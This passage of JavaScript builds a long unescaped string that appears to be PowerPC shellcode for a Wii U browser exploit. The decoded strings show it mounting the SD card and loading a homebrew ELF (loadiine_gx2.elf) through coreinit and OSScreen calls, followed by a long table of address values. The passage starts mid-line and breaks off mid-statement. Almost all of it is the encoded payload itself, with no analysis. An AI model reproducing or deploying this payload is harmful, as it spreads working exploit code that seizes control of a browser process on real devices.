unescape(\"%u7c9f%u2214%u4e80%u0421%u813d%u0014%u7f63%udb78%u809e%u0010%u7d29%u03a6%u4e80%u0421%u813e%u0018%u712a%u0001%u41a2%u0018%u813d%u0018%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001\");\n    str    += unescape(\"%u3bde%u0020%u4bff%uff78%u837f%u0020%u3b80%u0000%u7f7f%uda14%u7f7e%udb78%ua13f%u0030%u7f9c%u4800%u409c%u00b0%ua15f%u0032%u813e%u0000%u1d4a%u0028%u7d5b%u5214%u814a%u0010%u7d49%u5214%u7d3f%u5214\");\n    str    += unescape(\"%u7d5f%u50ae%u2f8a%u002e%u40be%u007c%u8949%u0001%u2b8a%u0062%u40be%u0018%u8949%u0002%u2f8a%u0073%u40be%u0064%u8929%u0003%u4800%u0028%u2b8a%u0073%u40be%u0054%u8949%u0002%u2f8a%u0062%u40be%u0048\");\n    str    += unescape(\"%u8949%u0003%u2f8a%u0073%u40be%u003c%u8929%u0004%u2f89%u0073%u40be%u0030%u813d%u000c%u3880%u0000%u807e%u000c%u7d29%u03a6%u80be%u0014%u4e80%u0421%u813d%u0014%u807e%u000c%u809e%u0014%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u3b9c%u0001%u3bde%u0028%u4bff%uff4c%u807f%u0018%u3961%u0020%u4800%u0734%u7c08%u02a6%u9421%ufbe8%u3920%uffff%u9121%u03ec%u9001%u041c%ubf21%u03fc%u7c7f%u1b78%u8123%u0000%u7c99%u2378\");\n    str    += unescape(\"%u3860%u1700%u3880%u0004%u7d29%u03a6%u7cba%u2b78%u4e80%u0421%u7c7e%u1b79%u4182%u0294%u813f%u0000%u3860%u0a80%u3880%u0004%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0018%u813f%u0004%u7fc3%uf378\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u4800%u0264%u813f%u0024%u7d29%u03a6%u4e80%u0421%u813f%u0030%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3880%u0000%u38a0%uffff%u7d29%u03a6%u7fc3%uf378%u4e80%u0421\");\n    str    += unescape(\"%u813f%u0034%u7fc3%uf378%u7fa4%ueb78%u38a0%u0000%u38c1%u0008%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u0014%u3c60%u0080%u813f%u0010%u3863%u0948%u4800%u003c%u813f%u0038%u7fc3%uf378\");\n    str    += unescape(\"%u7fa4%ueb78%u38a1%u0008%u38c1%u0308%u38e0%u0080%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u001c%u3c60%u0080%u813f%u0010%u3863%u0961%u7d29%u03a6%u4e80%u0421%u4800%u0178%u813f%u0040\");\n    str    += unescape(\"%u3ca0%u0080%u3cc0%u0080%u7fc3%uf378%u7fa4%ueb78%u38a5%u0972%u38c6%u09aa%u38e1%u03ec%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2c03%u0000%u4182%u0024%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308\");\n    str    += unescape(\"%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0124%u813f%u0044%u7fa4%ueb78%u9061%u0398%u38c1%u0388%u7fc3%uf378%u80a1%u03ec%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u8061%u0398%u2f83%u0000%u41be%u0024\");\n    str    += unescape(\"%u813f%u0000%u3863%u003f%u5463%u0032%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c7b%u1b79%u40a2%u001c%u813f%u0010%u3c60%u0080%u3863%u09ac%u3b60%u0000%u7d29%u03a6%u4e80%u0421%u3b80%u0000%u80e1%u0398\");\n    str    += unescape(\"%u7f9c%u3840%u409c%u0038%u817f%u0048%u7fc3%uf378%u7fa4%ueb78%u7cbb%ue214%u38c0%u0001%u7cfc%u3850%u8101%u03ec%u3920%u0000%u3940%uffff%u7d69%u03a6%u4e80%u0421%u2c03%u0000%u41a1%u0028%u8121%u0398\");\n    str    += unescape(\"%u7f9c%u4800%u419e%u0024%u813f%u0004%u7f63%udb78%u3b80%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0018%u7f9c%u1a14%u4bff%uff98%u9379%u0000%u939a%u0000%u3b80%u0001%u813f%u004c%u7fa4%ueb78%u80a1%u03ec\");\n    str    += unescape(\"%u7fc3%uf378%u7d29%u03a6%u38c0%uffff%u4e80%u0421%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0008%u3b80%u0000%u813f%u002c%u7fc3%uf378%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u7f83%ue378%u4800%u0008%u3860%u0000%u3961%u0418%u4800%u0450%u7c08%u02a6%u9421%uff70\");\n    str    += unescape(\"%u3d20%u0080%u6129%u1500%ubec1%u0068%u9001%u0094%u7c79%u1b78%u3c60%u0080%u7c9a%u2378%u83c9%u0000%u3881%u0064%u3863%u09cc%u83e9%u0004%u7fc9%u03a6%u3fa0%u0080%u3f80%udead%u3ee0%u0080%u3ec0%u0080\");\n    str    += unescape(\"%u63bd%u1300%u639c%uc0de%u3b60%u0000%u4e80%u0421%u3920%u0000%u3ca0%u0080%u7fe9%u03a6%u9121%u0060%u3880%u0001%u38a5%u09d5%u38c1%u0060%u8061%u0064%u3af7%u0b28%u3ad6%u0aeb%u4e80%u0421%u8121%u0060\");\n    str    += unescape(\"%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0001%u38a5%u09ef%u38c1%u0060%u9121%u0008%u8061%u0064%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0000%u38a5%u0a04%u38c1%u0010\");\n    str    += unescape(\"%u9121%u000c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a0b%u38c1%u0014%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a12%u38c1%u0018%u8061%u0064\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a1a%u38c1%u001c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a27%u38c1%u0020%u8061%u0064%u4e80%u0421%u3ca0%u0080\");\n    str    += unescape(\"%u7fe9%u03a6%u3880%u0000%u38a5%u0a39%u38c1%u0024%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a47%u38c1%u0028%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000\");\n    str    += unescape(\"%u38a5%u0a4c%u38c1%u002c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a53%u38c1%u0030%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a61%u38c1%u0034\");\n    str    += unescape(\"%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a6d%u38c1%u0038%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a7c%u38c1%u003c%u8061%u0064%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a8d%u38c1%u0040%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a95%u38c1%u0044%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6\");\n    str    += unescape(\"%u3880%u0000%u38a5%u0a9f%u38c1%u0048%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aaa%u38c1%u004c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ab8\");\n    str    += unescape(\"%u38c1%u0050%u8061%u0064%u4e80%u0421%u3ca0%u0080%u38a5%u0ac3%u38c1%u0054%u7fe9%u03a6%u3880%u0000%u8061%u0064%u4e80%u0421%u3c60%u0080%u7fc9%u03a6%u3881%u005c%u3863%u0acf%u3fc0%u0080%u63de%u1304\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u8061%u005c%u3880%u0000%u38a5%u0ada%u38c1%u0058%u3fe0%u0080%u63ff%u1400%u4e80%u0421%u813d%u0000%u7f89%ue000%u419e%u0068%u813e%u0000%u2f89%u0000%u41be%u005c\");\n    str    += unescape(\"%u8121%u0008%u3880%u0004%u807e%u0000%u7d29%u03a6%u4e80%u0421%u7c78%u1b79%u4182%u0038%u8121%u0010%u809d%u0000%u7d29%u03a6%u80be%u0000%u4e80%u0421%u3861%u0008%u7f04%uc378%u4bff%uf839%u8121%u000c\");\n    str    += unescape(\"%u907f%u0000%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u939d%u0000%u937e%u0000%u813f%u0000%u7f89%ue000%u419e%u0010%u813f%u0000%u2f89%u0000%u409e%u0068%u3881%u0060%u3861%u0008%u38a1%u005c%u9361%u0060\");\n    str    += unescape(\"%u9361%u005c%u4bff%uf999%u8081%u0060%u7ec3%ub378%u2f84%u0000%u419e%u0030%u3861%u0008%u4bff%uf7d5%u8121%u000c%u907f%u0000%u7d29%u03a6%u8061%u0060%u4e80%u0421%u813f%u0000%u2f89%u0000%u409e%uff2c\");\n    str    += unescape(\"%u7ee3%ubb78%u8121%u0018%u7d29%u03a6%u4e80%u0421%u4bff%uff18%u3d20%u0080%u7f44%ud378%u6129%u1400%u7f23%ucb78%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3d20%u0080%u6129%u1500%u7f23%ucb78%u8129%u0008\");\n    str    += unescape(\"%u7f44%ud378%u8129%u0000%u7d29%u03a6%u4e80%u0421%u3961%u0090%u4800%u0024%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc\");\n    str    += unescape(\"%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365\");\n    str    += unescape(\"%u2066%u6169%u6c65%u642e%u0053%u4420%u6d6f%u756e%u7420%u6661%u696c%u6564%u2e00%u2f76%u6f6c%u2f65%u7874%u6572%u6e61%u6c30%u312f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832\");\n    str    += unescape(\"%u2f6c%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u7200%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u7920%u666f%u7220%u454c%u4620%u6669%u6c65%u2e00%u636f%u7265%u696e%u6974%u004d%u454d\");\n    str    += unescape(\"%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u006d%u656d%u7365%u7400%u4f53%u4661%u7461\");\n    str    += unescape(\"%u6c00%u4443%u466c%u7573%u6852%u616e%u6765%u0049%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u005f%u5f6f%u735f%u736e%u7072%u696e%u7466%u0065%u7869%u7400%u4653%u496e%u6974%u0046%u5341%u6464\");\n    str    += unescape(\"%u436c%u6965%u6e74%u4578%u0046%u5344%u656c%u436c%u6965%u6e74%u0046%u5349%u6e69%u7443%u6d64%u426c%u6f63%u6b00%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u0046%u534d%u6f75%u6e74%u0046%u5355\");\n    str    += unescape(\"%u6e6d%u6f75%u6e74%u0046%u534f%u7065%u6e46%u696c%u6500%u4653%u4765%u7453%u7461%u7446%u696c%u6500%u4653%u5265%u6164%u4669%u6c65%u0046%u5343%u6c6f%u7365%u4669%u6c65%u0073%u7973%u6170%u702e%u7270\");\n    str    += unescape(\"%u6c00%u5359%u5352%u656c%u6175%u6e63%u6854%u6974%u6c65%u0043%u6f75%u6c64%u206e%u6f74%u206c%u6f61%u6420%u6669%u6c65%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c\");\n    str    += unescape(\"%u6f61%u6469%u696e%u655f%u6778%u322e%u656c%u6600%u4661%u696c%u6564%u2074%u6f20%u6c6f%u6164%u2045%u4c46%u202f%u7769%u6975%u2f61%u7070%u732f%u6c6f%u6164%u6969%u6e65%u5f67%u7832%u2f6c%u6f61%u6469\");\n    str    += unescape(\"%u696e%u655f%u6778%u322e%u656c%u6600%u002e%u7368%u7374%u7274%u6162%u002e%u7465%u7874%u002e%u6461%u7461%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000\");\n    str    += unescape(\"%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u000b%u0000%u0001%u0000%u0006%u0080%u0000%u0000%u0054%u0000%u0948%u0000%u0000%u0000%u0000%u0000%u0004%u0000%u0000%u0000%u0011%u0000%u0001%u0000%u0032\");\n    str    += unescape(\"%u0080%u0948%u0000%u099c%u0000%u021c%u0000%u0000%u0000%u0000%u0000%u0001%u0000%u0001%u0000%u0001%u0000%u0003%u0000%u0000%u0000%u0000%u0000%u0bb8%u0000%u0017%u0000%u0000%u0000%u0000%u0000%u0001\");\n    str    += unescape(\"%u0000%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e47%u6574%u4275%u6666%u6572%u5369%u7a65%u4578%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5353\");\n    str    += unescape(\"%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u004f%u5353%u6372%u6565%u6e46%u6c69%u7042%u7566%u6665%u7273%u4578%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u0073%u7973%u6170\");\n    str    += unescape(\"%u702e%u7270%u6c00%u5f53%u5953%u4c61%u756e%u6368%u4d69%u6953%u7475%u6469%u6f00%u496e%u7661%u6c69%u6420%u656c%u6620%u6669%u6c65%u0063%u6f72%u6569%u6e69%u742e%u7270%u6c00%u6d65%u6d73%u6574%u004d\");\n    str    += unescape(\"%u454d%u416c%u6c6f%u6346%u726f%u6d44%u6566%u6175%u6c74%u4865%u6170%u4578%u004d%u454d%u4672%u6565%u546f%u4465%u6661%u756c%u7448%u6561%u7000%u6d65%u6d63%u7079%u004f%u5345%u6666%u6563%u7469%u7665\");\n    str    += unescape(\"%u546f%u5068%u7973%u6963%u616c%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4943%u496e%u7661%u6c69%u6461%u7465%u5261%u6e67%u6500%u5f45%u7869%u7400%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365\");\n    str    += unescape(\"%u0049%u4d5f%u5365%u7444%u6576%u6963%u6553%u7461%u7465%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554%u6f53%u7973%u7465%u6d00%u4e6f%u7420%u656e%u6f75%u6768%u206d\");\n    str    += unescape(\"%u656d%u6f72%u792e%u2045%u7869%u7420%u616e%u6420%u7265%u2d65%u6e74%u6572%u2062%u726f%u7773%u6572%u2e00%u4f53%u4372%u6561%u7465%u5468%u7265%u6164%u004f%u5352%u6573%u756d%u6554%u6872%u6561%u6400\");\n    str    += unescape(\"%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564%u0054%u6872%u6561%u6420%u6d65%u6d6f%u7279%u2061%u6c6c%u6f63%u6174%u696f%u6e20%u6661%u696c%u6564%u2e20%u4578%u6974%u2061%u6e64%u2072\");\n    str    += unescape(\"%u652d%u656e%u7465%u7220%u6272%u6f77%u7365%u722e%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174%u6520%u7468%u7265%u6164%u2e20%u4578%u6974%u2061%u6e64%u2072%u652d%u656e%u7465%u7220%u6272%u6f77\");\n    str    += unescape(\"%u7365%u722e%u002e%u7465%u7874%u002e%u726f%u6461%u7461%u002e%u6461%u7461%u002e%u6273%u7300%u0000%u0000%u003c%u0000%u0000%u017a%u5200%u047c%u4101%u1b0c%u0100%u0d0b%u1141%u7f8e%u128f%u1190%u1091\");\n    str    += unescape(\"%u0f92%u0e93%u0d94%u0c95%u0b96%u0a97%u0998%u0899%u079a%u069b%u059c%u049d%u039e%u029f%u0100%u0000%u0000%u0038%u0000%u0044%uffff%uecc4%u0000%u0058%u0041%uce41%ucf41%ud041%ud141%ud241%ud341%ud441\");\n    str    += unescape(\"%ud541%ud641%ud741%ud841%ud941%uda41%udb41%udc41%udd41%ude42%udf41%u0641%u410d%u0100%u0000%u351c%u0000%u3520%u0000%u3524%u0000%u3528%u0000%u352c%u0000%u3530%u0000%u3534%u0000%u3538%u0000%u353c\");\n    str    += unescape(\"%u0000%u3540%u0000%u3544%u0000%u3548%u0000%u354c%u0000%u3550%u0000%u3554%u0000%u3558%u0000%u355c%u0000%u3560%u0000%u3564%u0000%u3568%u0000%u356c%u0000%u3570%u0000%u3574%u0000%u3578%u0000%u357c\");\n    str    += unescape(\"%u0000%u3580%u0000%u3584%u0000%u3588%u0000%u358c%u0000%u3590%u0000%u3594%u0000%u3598%u0000%u359c%u0000%u35a0%u0000%u35a4%u0000%u35a8%u0000%u35ac%u0000%u35b0%u0000%u35b4%u0000%u35b8%u0000%u35bc\");\n    str    += unescape(\"%u0000%u35c0%u0000%u35c4%u0000%u35c8%u0000%u35cc%u0000%u35d0%u0000%u35d4%u0000%u35d8%u0000%u35dc%u0000%u35e0%u0000%u35e4%u0000%u35e8%u0000%u35ec%u0000%u35f0%u0000%u35f4%u0000%u35f8%u0000%u35fc\");\n    str    += unescape(\"%u0000%u3600%u0000%u3604%u0000%u3608%u0000%u360c%u0000%u3610%u0000%u3614%u0000%u3618%u0000%u361c%u0000%u3620%u0000%u3624%u0000%u3628%u0000%u362c%u0000%u3630%u0000%u3634%u0000%u3638%u0000%u363c\");\n    str    += unescape(\"%u0000%u3640%u0000%u3644%u0000%u3648%u0000%u364c%u0000%u3650%u0000%u3654%u0000%u3658%u0000%u365c%u0000%u3660%u0000%u3664%u0000%u3668%u0000%u366c%u0000%u3670%u0000%u3674%u0000%u3678%u0000%u367c\");\n    str    += unescape(\"%u0000%u3680%u0000%u3684%u0000%u3688%u0000%u368c%u0000%u3690%u0000%u3694%u0000%u3698%u0000%u369c%u0000%u36a0%u0000%u36a4%u0000%u36a8%u0000%u36ac%u0000%u36b0%u0000%u36b4%u0000%u36b8%u0000%u36bc\");\n    str    += unescape(\"%u0000%u36c0%u0000%u36c4%u0000%u36c8%u0000%u36cc%u0000%u36d0%u0000%u36d4%u0000%u36d8%u0000%u36dc%u0000%u36e0%u0000%u36e4%u0000%u36e8%u0000%u36ec%u0000%u36f0%u0000%u36f4%u0000%u36f8%u0000%u36fc\");\n    str    += unescape(\"%u0000%u3700%u0000%u3704%u0000%u3708%u0000%u370c%u0000%u3710%u0000%u3714%u0000%u3718%u0000%u371c%u0000%u3720%u0000%u3724%u0000%u3728%u0000%u372c%u0000%u3730%u0000%u3734%u0000%u3738%u0000%u373c\");\n    str    += unescape(\"%u0000%u3740%u0000%u3744%u0000%u3748%u0000%u374c%u0000%u3750%u0000%u3754%u0000%u3758%u0000%u375c%u0000%u3760%u0000%u3764%u0000%u3768%u0000%u376c%u0000%u3770%u0000%u3774%u0000%u3778%u0000%u377c\");\n    str    += unescape(\"%u0000%u3780%u0000%u3784%u0000%u3788%u0000%u378c%u0000%u3790%u0000%u3794%u0000%u3798%u0000%u379c%u0000%u37a0%u0000%u37a4%u0000%u37a8%u0000%u37ac%u0000%u37b0%u0000%u37b4%u0000%u37b8%u0000%u37bc\");\n    str    += unescape(\"%u0000%u37c0%u0000%u37c4%u0000%u37c8%u0000%u37cc%u0000%u37d0%u0000%u37d4%u0000%u37d8%u0000%u37dc%u0000%u37e0%u0000%u37e4%u0000%u37e8%u0000%u37ec%u0000%u37f0%u0000%u37f4%u0000%u37f8%u0000%u37fc\");\n    str    += unescape(\"%u0000%u3800%u0000%u3804%u0000%u3808%u0000%u380c%u0000%u3810%u0000%u3814%u0000%u3818%u0000%u381c%u0000%u3820%u0000%u3824%u0000%u3828%u0000%u382c%u0000%u3830%u0000%u3834%u0000%u3838%u0000%u383c\");\n    str    += unescape(\"%u0000%u3840%u0000%u3844%u0000%u3848%u0000%u384c%u0000%u3850%u0000%u3854%u0000%u3858%u0000%u385c%u0000%u3860%u0000%u3864%u0000%u3868%u0000%u386c%u0000%u3870%u0000%u3874%u0000%u3878%u0000%u387c\");\n    str    += unescape(\"%u0000%u3880%u0000%u3884%u0000%u3888%u0000%u388c%u0000%u3890%u0000%u3894%u0000%u3898%u0000%u389c%u0000%u38a0%u0000%u38a4%u0000%u38a8%u0000%u38ac%u0000%u38b0%u0000%u38b4%u0000%u38b8%u0000%u38bc\");\n    str    += unescape(\"%u0000%u38c0%u0000%u38c4%u0000%u38c8%u0000%u38cc%u0000%u38d0%u0000%u38d4%u0000%u38d8%u0000%u38dc%u0000%u38e0%u0000%u38e4%u0000%u38e8%u0000%u38ec%u0000%u38f0%u0000%u38f4%u0000%u38f8%u0000%u38fc\");\n    str    += unescape(\"%u0000%u3900%u0000%u3904%u0000%u3908%u0000%u390c%u0000%u3910%u0000%u3914%u0000%u3918%u0000%u391c%u0000%u3920%u0000%u3924%u0000%u3928%u0000%u392c%u0000%u3930%u0000%u3934%u0000%u3938%u0000%u393c\");\n    str    += unescape(\"%u0000%u3940%u0000%u3944%u0000%u3948%u0000%u394c%u0000%u3950%u0000%u3954%u0000%u3958%u0000%u395c%u0000%u3960%u0000%u3964%u0000%u3968%u0000%u396c%u0000%u3970%u0000%u3974%u0000%u3978%u0000%u397c\");\n    str    += unescape(\"%u0000%u3980%u0000%u3984%u0000%u3988%u0000%u398c%u0000%u3990%u0000%u3994%u0000%u3998%u0000%u399c%u0000%u39a0%u0000%u39a4%u0000%u39a8%u0000%u39ac%u0000%u39b0%u0000%u39b4%u0000%u39b8%u0000%u39bc\");\n    str    += unescape(\"%u0000%u39c0%u0000%u39c4%u0000%u39c8%u0000%u39cc%u0000%u39d0%u0000%u39d4%u0000%u39d8%u0000%u39dc%u0000%u39e0%u0000%u39e4%u0000%u39e8%u0000%u39ec%u0000%u39f0%u0000%u39f4%u0000%u39f8%u0000%u39fc\");\n    str    += unescape(\"%u0000%u3a00%u0000%u3a04%u0000%u3a08%u0000%u3a0c%u0000%u3a10%u0000%u3a14%u0000%u3a18%u0000%u3a1c%u0000%u3a20%u0000%u3a24%u0000%u3a28%u0000%u3a2c%u0000%u3a30%u0000%u3a34%u0000%u3a38%u0000%u3a3c\");\n    str    += unescape(\"%u0000%u3a40%u0000%u3a44%u0000%u3a48%u0000%u3a4c%u0000%u3a50%u0000%u3a54%u0000%u3a58%u0000%u3a5c%u0000%u3a60%u0000%u3a64%u0000%u3a68%u0000%u3a6c%u0000%u3a70%u0000%u3a74%u0000%u3a78%u0000%u3a7c\");\n    str    += unescape(\"%u0000%u3a80%u0000%u3a84%u0000%u3a88%u0000%u3a8c%u0000%u3a90%u0000%u3a94%u0000%u3a98%u0000%u3a9c%u0000%u3aa0%u0000%u3aa4%u0000%u3aa8%u0000%u3aac%u0000%u3ab0%u0000%u3ab4%u0000%u3ab8%u0000%u3abc\");\n    str    += unescape(\"%u0000%u3ac0%u0000%u3ac4%u0000%u3ac8%u0000%u3acc%u0000%u3ad0%u0000%u3ad4%u0000%u3ad8%u0000%u3adc%u0000%u3ae0%u0000%u3ae4%u0000%u3ae8%u0000%u3aec%u0000%u3af0%u0000%u3af4%u0000%u3af8%u0000%u3afc\");\n    str    += unescape(\"%u0000%u3b00%u0000%u3b04%u0000%u3b08%u0000%u3b0c%u0000%u3b10%u0000%u3b14%u0000%u3b18%u0000%u3b1c%u0000%u3b20%u0000%u3b24%u0000%u3b28%u0000%u3b2c%u0000%u3b30%u0000%u3b34%u0000%u3b38%u0000%u3b3c\");\n    str    += unescape(\"%u0000%u3b40%u0000%u3b44%u0000%u3b48%u0000%u3b4c%u0000%u3b50%u0000%u3b54%u0000%u3b58%u0000%u3b5c%u0000%u3b60%u0000%u3b64%u0000%u3b68%u0000%u3b6c%u0000%u3b70%u0000%u3b74%u0000%u3b78%u0000%u3b7c\");\n    str    += unescape(\"%u0000%u3b80%u0000%u3b84%u0000%u3b88%u0000%u3b8c%u0000%u3b90%u0000%u3b94%u0000%u3b98%u0000%u3b9c%u0000%u3ba0%u0000%u3ba4%u0000%u3ba8%u0000%u3bac%u0000%u3bb0%u0000%u3bb4%u0000%u3bb8%u0000%u3bbc\");\n    str    += unescape(\"%u0000%u3bc0%u0000%u3bc4%u0000%u3bc8%u0000%u3bcc%u0000%u3bd0%u0000%u3bd4%u0000%u3bd8%u0000%u3bdc%u0000%u3be0%u0000%u3be4%u0000%u3be8%u0000%u3bec%u0000%u3bf0%u0000%u3bf4%u0000%u3bf8%u0000%u3bfc\");\n    str    += unescape(\"%u0000%u3c00%u0000%u3c04%u0000%u3c08%u0000%u3c0c%u0000%u3c10%u0000%u3c14%u0000%u3c18%u0000%u3c1c%u0000%u3c20%u0000%u3c24%u0000%u3c28%u0000%u3c2c%u0000%u3c30%u0000%u3c34%u0000%u3c38%u0000%u3c3c\");\n    str    += unescape(\"%u0000%u3c40%u0000%u3c44%u0000%u3c48%u0000%u3c4c%u0000%u3c50%u0000%u3c54%u0000%u3c58%u0000%u3c5c%u0000%u3c60%u0000%u3c64%u0000%u3c68%u0000%u3c6c%u0000%u3c70%u0000%u3c74%u0000%u3c78%u0000%u3c7c\");\n    str    += unescape(\"%u0000%u3c80%u0000%u3c84%u0000%u3c88%u0000%u3c8c%u0000%u3c90%u0000%u3c94%u0000%u3c98%u0000%u3c9c%u0000%u3ca0%u0000%u3ca4%u0000%u3ca8%u0000%u3cac%u0000%u3cb0%u0000%u3cb4%u0000%u3cb8%u0000%u3cbc\");\n    str    += unescape(\"%u0000%u3cc0%u0000%u3cc4%u0000%u3cc8%u0000%u3ccc%u0000%u3cd0%u0000%u3cd4%u0000%u3cd8%u0000%u3cdc%u0000%u3ce0%u0000%u3ce4%u0000%u3ce8%u0000%u3cec%u0000%u3cf0%u0000%u3cf4%u0000%u3cf8%u0000%u3cfc\");\n    str    += unescape(\"%u0000%u3d00%u0000%u3d04%u0000%u3d08%u0000%u3d0c%u0000%u3d10%u0000%u3d14%u0000%u3d18%u0000%u3d1c%u0000%u3d20%u0000%u3d24%u0000%u3d28%u0000%u3d2c%u0000%u3d30%u0000%u3d34%u0000%u3d38%u0000%u3d3c\");\n    str    += unescape(\"%u0000%u3d40%u0000%u3d44%u0000%u3d48%u0000%u3d4c%u0000%u3d50%u0000%u3d54%u0000%u3d58%u0000%u3d5c%u0000%u3d60%u0000%u3d64%u0000%u3d68%u0000%u3d6c%u0000%u3d70%u0000%u3d74%u0000%u3d78%u0000%u3d7c\");\n    str    += unescape(\"%u0000%u3d80%u0000%u3d84%u0000%u3d88%u0000%u3d8c%u0000%u3d90%u0000%u3d94%u0000%u3d98%u0000%u3d9c%u0000%u3da0%u0000%u3da4%u0000%u3da8%u0000%u3dac%u0000%u3db0%u0000%u3db4%u0000%u3db8%u0000%u3dbc\");\n    str    += unescape(\"%u0000%u3dc0%u0000%u3dc4%u0000%u3dc8%u0000%u3dcc%u0000%u3dd0%u0000%u3dd4%u0000%u3dd8%u0000%u3ddc%u0000%u3de0%u0000%u3de4%u0000%u3de8%u0000%u3dec%u0000%u3df0%u0000%u3df4%u0000%u3df8%u0000%u3dfc\");\n    str    += unescape(\"%u0000%u3e00%u0000%u3e04%u0000%u3e08%u0000%u3e0c%u0000%u3e10%u0000%u3e14%u0000%u3e18%u0000%u3e1c%u0000%u3e20%u0000%u3e24%u0000%u3e28%u0000%u3e2c%u0000%u3e30%u0000%u3e34%u0000%u3e38%u0000%u3e3c\");\n    str    += unescape(\"%u0000%u3e40%u0000%u3e44%u0000%u3e48%u0000%u3e4c%u0000%u3e50%u0000%u3e54%u0000%u3e58%u0000%u3e5c%u0000%u3e60%u0000%u3e64%u0000%u3e68%u0000%u3e6c%u0000%u3e70%u0000%u3e74%u0000%u3e78%u0000%u3e7c\");\n    str    += unescape(\"%u0000%u3e80%u0000%u3e84%u0000%u3e88%u0000%u3e8c%u0000%u3e90%u0000%u3e94%u0000%u3e98%u0000%u3e9c%u0000%u3ea0%u0000%u3ea4%u0000%u3ea8%u0000%u3eac%u0000%u3eb0%u0000%u3eb4%u0000%u3eb8%u0000%u3ebc\");\n    str    += unescape(\"%u0000%u3ec0%u0000%u3ec4%u0000%u3ec8%u0000%u3ecc%u0000%u3ed0%u0000%u3ed4%u0000%u3ed8%u0000%u3edc%u0000%u3ee0%u0000%u3ee4%u0000%u3ee8%u0000%u3eec%u0000%u3ef0%u0000%u3ef4%u0000%u3ef8%u0000%u3efc\");\n    str    += 